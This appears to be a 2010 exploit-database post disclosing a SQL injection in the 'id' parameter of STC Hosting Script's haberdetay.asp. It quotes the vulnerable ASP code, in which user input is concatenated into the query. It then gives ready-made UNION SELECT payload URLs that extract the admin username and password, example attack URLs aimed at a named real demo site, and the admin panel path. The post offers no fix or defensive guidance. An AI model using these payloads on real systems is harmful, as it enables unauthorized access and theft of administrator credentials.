STC Hosting Script (id) Remote SQL Injection Vulnerability
Posted on 15 August 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>STC Hosting Script (id) Remote SQL Injection Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>========================================================== STC Hosting Script (id) Remote SQL Injection Vulnerability ========================================================== ######################################################## Author : KnocKout Thankz.: DaiMon,Equivalent Contact: Knockoutr@msn.com ######################################################### Script Name : STC Hosting Script Script Download : http://aspindir.com/goster/6064 Vulnerable Style : SQL Injection ######################################################## Vulnerable file in haberdetay.asp #############Error Code############################### <!-- #include file="baglan.asp"--> <% id = Request.QueryString("id") Set haberdetay = Server.CreateObject("Adodb.recordset") Sql= "Select * From haberler where id="&id haberdetay.open sql,Fatih,1,3 %> <%=haberdetay("icerik")%> <title><%=haberdetay("baslik")%></title> #################################################### ! Inj3ct Code : -1%20union%20select%200,1,2,[DATA]%20from%20{TABLE]%20where+id=1 ! (Admin username): http://target/haberdetay.asp?id=-1%20union%20select%200,1,2,admin_adi%20from%20ayarlar%20where+id=1 (Admin password): http://target/haberdetay.asp?id=-1%20union%20select%200,1,2,admin_sifre%20from%20ayarlar%20where+id=1 ? ! Example Attack : http://www.sanalturkey.com/demo/haberdetay.asp?id=-1%20union%20select%200,1,2,admin_adi%20from%20ayarlar%20where+id=1 http://www.sanalturkey.com/demo/haberdetay.asp?id=-1%20union%20select%200,1,2,admin_sifre%20from%20ayarlar%20where+id=1 Admin Path : http://target/yonetici #################################################### Special Thanks Inj3ct0r Exploit DataBase I Love you Inj3ct0r.Com # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-15]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>